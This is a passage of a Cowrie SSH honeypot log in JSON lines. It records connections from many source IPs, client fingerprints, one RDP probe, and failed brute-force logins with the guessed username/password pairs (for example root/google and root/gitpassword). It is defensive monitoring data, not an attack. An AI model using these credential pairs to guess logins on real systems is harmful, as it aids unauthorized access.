h-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:30.766753Z","src_ip":"103.122.221.179","session":"9885a5ac636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:31.484506Z","src_ip":"103.122.221.179","session":"9885a5ac636f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:32.726228Z","src_ip":"103.122.221.179","session":"9885a5ac636f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":60868,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa1f982a2d5","protocol":"ssh","message":"New connection: 193.32.162.151:60868 (159.203.135.109:22) [session: 4aa1f982a2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:33.383365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:33.392380Z","src_ip":"193.32.162.151","session":"4aa1f982a2d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:33.497267Z","src_ip":"193.32.162.151","session":"4aa1f982a2d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"12345678","message":"login attempt [epsuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:33.830419Z","src_ip":"193.32.162.151","session":"4aa1f982a2d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":54546,"dst_ip":"10.17.0.5","dst_port":22,"session":"67cd977313f4","protocol":"ssh","message":"New connection: 43.156.136.152:54546 (10.17.0.5:22) [session: 67cd977313f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:34.370405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:34.375887Z","src_ip":"43.156.136.152","session":"67cd977313f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:34.615841Z","src_ip":"43.156.136.152","session":"67cd977313f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:34.937171Z","src_ip":"193.32.162.151","session":"4aa1f982a2d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google","message":"login attempt [root/google] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:35.599000Z","src_ip":"43.156.136.152","session":"67cd977313f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:36.841396Z","src_ip":"43.156.136.152","session":"67cd977313f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":60610,"dst_ip":"10.17.0.5","dst_port":22,"session":"502696d1adc1","protocol":"ssh","message":"New connection: 192.169.243.246:60610 (10.17.0.5:22) [session: 502696d1adc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:38.096543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:38.104584Z","src_ip":"192.169.243.246","session":"502696d1adc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:38.180168Z","src_ip":"192.169.243.246","session":"502696d1adc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpassword","message":"login attempt [root/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:38.512015Z","src_ip":"192.169.243.246","session":"502696d1adc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:39.590959Z","src_ip":"192.169.243.246","session":"502696d1adc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":56234,"dst_ip":"159.203.135.109","dst_port":22,"session":"5feb02c2b0c4","protocol":"ssh","message":"New connection: 176.65.148.108:56234 (159.203.135.109:22) [session: 5feb02c2b0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.428409Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.513375Z","src_ip":"176.65.148.108","session":"5feb02c2b0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":56250,"dst_ip":"159.203.135.109","dst_port":22,"session":"5730a8303ca6","protocol":"ssh","message":"New connection: 176.65.148.108:56250 (159.203.135.109:22) [session: 5730a8303ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.597252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.602129Z","src_ip":"176.65.148.108","session":"5730a8303ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.686708Z","src_ip":"176.65.148.108","session":"5730a8303ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"A","password":"123456","message":"login attempt [A/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:50.938855Z","src_ip":"176.65.148.108","session":"5730a8303ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:52.026238Z","src_ip":"176.65.148.108","session":"5730a8303ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":55894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71fba3638f0","protocol":"ssh","message":"New connection: 43.228.112.254:55894 (10.17.0.5:22) [session: a71fba3638f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:20.246173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:20.251502Z","src_ip":"43.228.112.254","session":"a71fba3638f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:20.463707Z","src_ip":"43.228.112.254","session":"a71fba3638f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google","message":"login attempt [root/google] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:21.336744Z","src_ip":"43.228.112.254","session":"a71fba3638f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:22.549419Z","src_ip":"43.228.112.254","session":"a71fba3638f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61013,"dst_ip":"159.203.135.109","dst_port":22,"session":"de1c117c8663","protocol":"ssh","message":"New connection: 167.172.81.52:61013 (159.203.135.109:22) [session: de1c117c8663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:23.938667Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:23.944299Z","src_ip":"167.172.81.52","session":"de1c117c8663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:23.948354Z","src_ip":"167.172.81.52","session":"de1c117c8663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56354,"dst_ip":"159.203.135.109","dst_port":22,"session":"8848d9404fee","protocol":"ssh","message":"New connection: 37.233.85.71:56354 (159.203.135.109:22) [session: 8848d9404fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:27.133607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:27.139123Z","src_ip":"37.233.85.71","session":"8848d9404fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:27.252551Z","src_ip":"37.233.85.71","session":"8848d9404fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1984","message":"login attempt [root/1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:27.582578Z","src_ip":"37.233.85.71","session":"8848d9404fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48416,"dst_ip":"10.17.0.5","dst_port":22,"session":"27447565e11f","protocol":"ssh","message":"New connection: 37.143.61.84:48416 (10.17.0.5:22) [session: 27447565e11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:27.897185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:28.099368Z","src_ip":"37.143.61.84","session":"27447565e11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:28.294359Z","src_ip":"37.143.61.84","session":"27447565e11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:28.694322Z","src_ip":"37.233.85.71","session":"8848d9404fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@1234","message":"login attempt [root/Hello@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:29.395589Z","src_ip":"37.143.61.84","session":"27447565e11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:30.497555Z","src_ip":"37.143.61.84","session":"27447565e11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58724,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c63884b1de","protocol":"ssh","message":"New connection: 51.250.105.222:58724 (10.17.0.5:22) [session: 47c63884b1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:37.212427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:37.217324Z","src_ip":"51.250.105.222","session":"47c63884b1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],